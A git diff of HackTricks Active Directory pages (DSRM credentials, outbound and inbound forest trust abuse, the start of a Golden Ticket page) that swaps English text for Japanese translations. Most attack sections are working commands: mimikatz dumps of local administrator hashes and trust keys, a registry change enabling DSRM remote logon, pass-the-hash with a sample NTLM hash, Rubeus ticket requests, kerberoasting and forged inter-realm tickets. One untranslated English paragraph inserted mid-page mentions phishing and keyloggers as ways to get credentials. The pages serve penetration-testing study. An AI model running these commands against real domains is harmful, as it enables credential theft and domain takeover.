d843e29a8..87cdfb0e4 100644 --- a/windows-hardening/active-directory-methodology/dsrm-credentials.md +++ b/windows-hardening/active-directory-methodology/dsrm-credentials.md @@ -1,68 +1,58 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# DSRM Credentials - -There is a **local administrator** account inside each **DC**. Having admin privileges in this machine you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.\ -First we need to **dump** the **hash** of the **local Administrator** user inside the DC: +# DSRMの資格情報 +各**DC**には**ローカル管理者**アカウントがあります。このマシンで管理者権限を持っている場合、mimikatzを使用して**ローカル管理者のハッシュをダンプ**することができます。その後、レジストリを変更してこのパスワードを**アクティベート**し、このローカル管理者ユーザーにリモートでアクセスできるようにします。\ +まず、DC内の**ローカル管理者**ユーザーの**ハッシュ**を**ダンプ**する必要があります: ```bash Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' ``` - -Then we need to check if that account will work, and if the registry key has the value "0" or it doesn't exist you need to **set it to "2"**: - +次に、そのアカウントが機能するかどうかを確認し、レジストリキーの値が「0」であるか存在しない場合は、「2」に**設定する必要があります**: ```bash Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 #Change value to "2" ``` - -Then, using a PTH you can **list the content of C$ or even obtain a shell**. Notice that for creating a new powershell session with that hash in memory (for the PTH) **the "domain" used is just the name of the DC machine:** - +次に、PTHを使用してC$の内容をリストしたり、シェルを取得したりすることができます。注意点として、PTHでそのハッシュをメモリ内に持つ新しいPowerShellセッションを作成する場合、「ドメイン」にはDCマシンの名前だけが使用されることに注意してください。 ```bash sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe #And in new spawned powershell you now can access via NTLM the content of C$ ls \\dc-host-name\C$ ``` +詳細については、[https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714)と[https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785)を参照してください。 -More info about this in: [https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) and [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785) +## 緩和策 -## Mitigation - -* Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior` +* イベントID 4657 - `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`の作成/変更の監査
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
- - diff --git a/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index 546e84f03..589313021 100644 --- a/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -1,23 +1,22 @@ -# External Forest Domain - One-Way (Outbound) +# 外部フォレストドメイン - 一方向 (出力)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-In this scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**. +このシナリオでは、**あなたのドメイン**は、**異なるドメイン**のプリンシパルに一部の**特権**を信頼しています。 -## Enumeration - -### Outbound Trust +## 列挙 +### 出力トラスト ```powershell # Notice Outbound trust Get-DomainTrust @@ -39,59 +38,50 @@ MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115 MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL ## Note how the members aren't from the current domain (ConvertFrom-SID won't work) ``` +## 信頼アカウント攻撃 -## Trust Account Attack - -When an Active Directory domain or forest trust is set up from a domain _B_ to a domain _A_ (_**B**_ trusts A), a trust account is created in domain **A**, named **B. Kerberos trust keys**,\_derived from the **trust account’s password**, are used for **encrypting inter-realm TGTs**, when users of domain A request service tickets for services in domain B. - -It's possible to obtain the password and hash of the trusted account from a Domain Controller using: +Active Directoryドメインまたはフォレストの信頼関係がドメイン_B_からドメイン_A_(_**B**_がAを信頼)に設定されると、ドメイン**A**に**B. Kerberos trust keys**という名前の信頼アカウントが作成されます。このアカウントのパスワードから派生したキーは、ドメインAのユーザーがドメインBのサービスチケットを要求する際に、**相互領域TGTの暗号化**に使用されます。 +ドメインコントローラから信頼されたアカウントのパスワードとハッシュを取得することが可能です。以下の方法を使用します: ```powershell Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` - -The risk is because of trust account B$ is enabled, **B$’s Primary Group is Domain Users of domain A**, any permission granted to Domain Users applies to B$, and it is possible to use B$’s credentials to authenticate against domain A. +リスクは、信頼アカウントB$が有効になっているためです。B$の主グループはドメインAのDomain Usersであり、Domain Usersに付与された権限はB$に適用されます。したがって、B$の資格情報を使用してドメインAに対して認証することが可能です。 {% hint style="warning" %} -Therefore, f**rom the trusting domain it's possible to obtain a user inside the trusted domain**. This user won't have a lot of permissions (just Domain Users probably) but you will be able to **enumerate the external domain**. +したがって、信頼するドメインからは、信頼されたドメイン内のユーザーを取得することが可能です。このユーザーには多くの権限はありません(おそらくDomain Usersのみですが)、しかし、外部ドメインを列挙することができます。 {% endhint %} -In this example the trusting domain is `ext.local` and the trusted one is `root.local`. Therefore, a user called `EXT$` is created inside `root.local`. - +この例では、信頼するドメインは`ext.local`であり、信頼されたドメインは`root.local`です。したがって、`root.local`内に`EXT$`というユーザーが作成されます。 ```bash # Use mimikatz to dump trusted keys lsadump::trust /patch # You can see in the output the old and current credentials # You will find clear text, AES and RC4 hashes ``` - -Therefore, at this point have **`root.local\EXT$`**’s current **cleartext password and Kerberos secret key.** The **`root.local\EXT$`** Kerberos AES secret keys are on identical to the AES trust keys as a different salt is used, but the **RC4 keys are the same**. Therefore, we can **use the RC4 trust key** dumped from ext.local as to **authenticate** as `root.local\EXT$` against `root.local`. - +したがって、この時点で**`root.local\EXT$`**の現在の**平文パスワードとKerberosの秘密鍵**を持っています。**`root.local\EXT$`**のKerberos AES秘密鍵は、異なるソルトが使用されるため、AES信頼キーと同じではありませんが、**RC4キーは同じ**です。したがって、私たちはext.localからダンプされたRC4信頼キーを使用して、`root.local\EXT$`として`root.local`に対して**認証**することができます。 ```bash .\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4: /dc:dc.root.local /ptt ``` - -With this you can start enumerating that domain and even kerberoasting users: - +これにより、そのドメインの列挙を開始し、ユーザーのKerberoastingさえも行うことができます。 ``` .\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local ``` +### クリアテキストの信頼パスワードの収集 -### Gathering cleartext trust password +前のフローでは、**クリアテキストのパスワード**ではなく、(mimikatzによってダンプされた)信頼ハッシュが使用されました。 -In the previous flow it was used the trust hash instead of the **clear text password** (that was also **dumped by mimikatz**). - -The cleartext password can be obtained by converting the \[ CLEAR ] output from mimikatz from hexadecimal and removing null bytes ‘\x00’: +クリアテキストのパスワードは、mimikatzの\[ CLEAR ]出力を16進数に変換し、ヌルバイト '\x00' を削除することで取得できます: ![](<../../.gitbook/assets/image (2) (1) (2).png>) -Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key cycles (30 days), the cleartext will not be human-readable but technically still usable. +信頼関係を作成する際に、ユーザーがパスワードを入力する必要がある場合があります。このデモンストレーションでは、キーは元の信頼パスワードであり、したがって人間が読める形式です。キーがサイクルする(30日ごと)と、クリアテキストは人間が読めなくなりますが、技術的にはまだ使用可能です。 -The cleartext password can be used to perform regular authentication as the trust account, an alternative to requesting a TGT using the Kerberos secret key of the trust account. Here, querying root.local from ext.local for members of Domain Admins: +クリアテキストのパスワードは、信頼アカウントのKerberos秘密キーを使用してTGTを要求する代わりに、信頼アカウントのトラストアカウントとして通常の認証を実行するために使用できます。ここでは、ext.localからroot.localに対してDomain Adminsのメンバーをクエリしています: ![](<../../.gitbook/assets/image (1) (1) (1) (2).png>) -## References +## 参考文献 * [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted) @@ -99,10 +89,10 @@ The cleartext password can be used to perform regular authentication as the trus ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index 7a1e947fd..3d6a3207a 100644 --- a/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -1,37 +1,36 @@ -# External Forest Domain - OneWay (Inbound) or bidirectional +# 外部フォレストドメイン - 単方向(インバウンド)または双方向
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-In this scenario an external domain is trusting you (or both are trusting each other), so you can get some kind of access over it. +このシナリオでは、外部ドメインがあなたを信頼しています(またはお互いを信頼しています)、そのためある種のアクセスを取得できます。 -## Enumeration - -First of all, you need to **enumerate** the **trust**: +## 列挙 +まず、**信頼関係**を**列挙**する必要があります: ```powershell Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain TrustType : WINDOWS-ACTIVE_DIRECTORY -TrustAttributes : +TrustAttributes : TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM # Get name of DC of the other domain Get-DomainComputer -Domain domain.external -Properties DNSHostName -dnshostname ------------ +dnshostname +----------- dc.domain.external # Groups that contain users outside of its domain and return its members @@ -42,7 +41,7 @@ GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external MemberDomain : domain.external MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133 MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain, - DC=external +DC=external # Get name of the principal in the current domain member of the cross-domain group ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133 @@ -64,52 +63,41 @@ SID : S-1-5-21-3263068140-2042698922-2891547269-1133 IsGroup : True IsDomain : True -# You may also enumerate where foreign groups and/or users have been assigned +# You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` +前の列挙で、ユーザー**`crossuser`**が**`External Admins`**グループに所属しており、**外部ドメインのDC**で**管理者アクセス**を持っていることがわかりました。 -In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**. +## 初期アクセス -## Initial Access - -If you **couldn't** find any **special** access of your user in the other domain, you can still go back to the AD Methodology and try to **privesc from an unprivileged user** (things like kerberoasting for example): - -You can use **Powerview functions** to **enumerate** the **other domain** using the `-Domain` param like in: +他のドメインでユーザーの特別なアクセス権限を見つけることができなかった場合、AD Methodologyに戻って**特権のないユーザーからの特権昇格**を試すことができます(例えば、kerberoastingなど): +`-Domain`パラメータを使用して、**Powerview関数**を使用して**他のドメイン**を列挙することができます。例: ```powershell Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` +## 偽装 -{% content-ref url="./" %} -[.](./) -{% endcontent-ref %} - -## Impersonation - -### Logging in - -Using a regular method with the credentials of the users who is has access to the external domain you should be able to access: +### ログイン +外部ドメインにアクセス権限を持つユーザーの資格情報を使用して通常の方法でアクセスできるはずです。 ```powershell Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` +### SID Historyの悪用 -### SID History Abuse +フォレスト間の信頼関係を利用して、[**SID History**](sid-history-injection.md)を悪用することもできます。 -You could also abuse [**SID History**](sid-history-injection.md) across a forest trust. - -If a user is migrated **from one forest to another** and **SID Filtering is not enabled**, it becomes possible to **add a SID from the other forest**, and this **SID** will be **added** to the **user's token** when authenticating **across the trust**. +ユーザーが**1つのフォレストから別のフォレストに移行**され、**SIDフィルタリングが有効にされていない**場合、**他のフォレストからSIDを追加**することが可能になります。そして、この**SID**は、**信頼関係を介して認証**する際に、**ユーザーのトークンに追加**されます。 {% hint style="warning" %} -As a reminder, you can get the signing key with - +注意として、署名キーを取得することができます。 ```powershell Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local ``` {% endhint %} -You could **sign with** the **trusted** key a **TGT impersonating** the user of the current domain. - +現在のドメインのユーザーをなりすまし、信頼されたキーでTGTに署名することができます。 ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' @@ -120,9 +108,15 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d # Now you have a TGS to access the CIFS service of the domain controller ``` +### ユーザーの完全ななりすまし方法 -### Full way impersonating the user +In this technique, we will impersonate the user in order to gain full access to their account and perform actions on their behalf. This method requires administrative privileges and can be used to bypass security measures and gain unauthorized access to sensitive information. +To impersonate the user, we will need to obtain their credentials, such as their username and password. This can be done through various means, such as phishing attacks, keyloggers, or password cracking techniques. + +Once we have obtained the user's credentials, we can use them to log in to their account and gain full access. This allows us to perform actions on their behalf, such as accessing their files, sending emails, or even making changes to their account settings. + +It is important to note that impersonating a user without their consent is illegal and unethical. This technique should only be used for legitimate purposes, such as penetration testing or authorized security audits. ```bash # Get a TGT of the user with cross-domain permissions Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap @@ -136,15 +130,14 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d # Now you have a TGS to access the CIFS service of the domain controller ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/golden-ticket.md b/windows-hardening/active-directory-methodology/golden-ticket.md index 45493f287..aade8c290 100644 --- a/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/windows-hardening/active-directory-methodology/golden-ticket.md @@ -1,39 +1,37 @@ -# Golden Ticket +# ゴールデンチケット
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
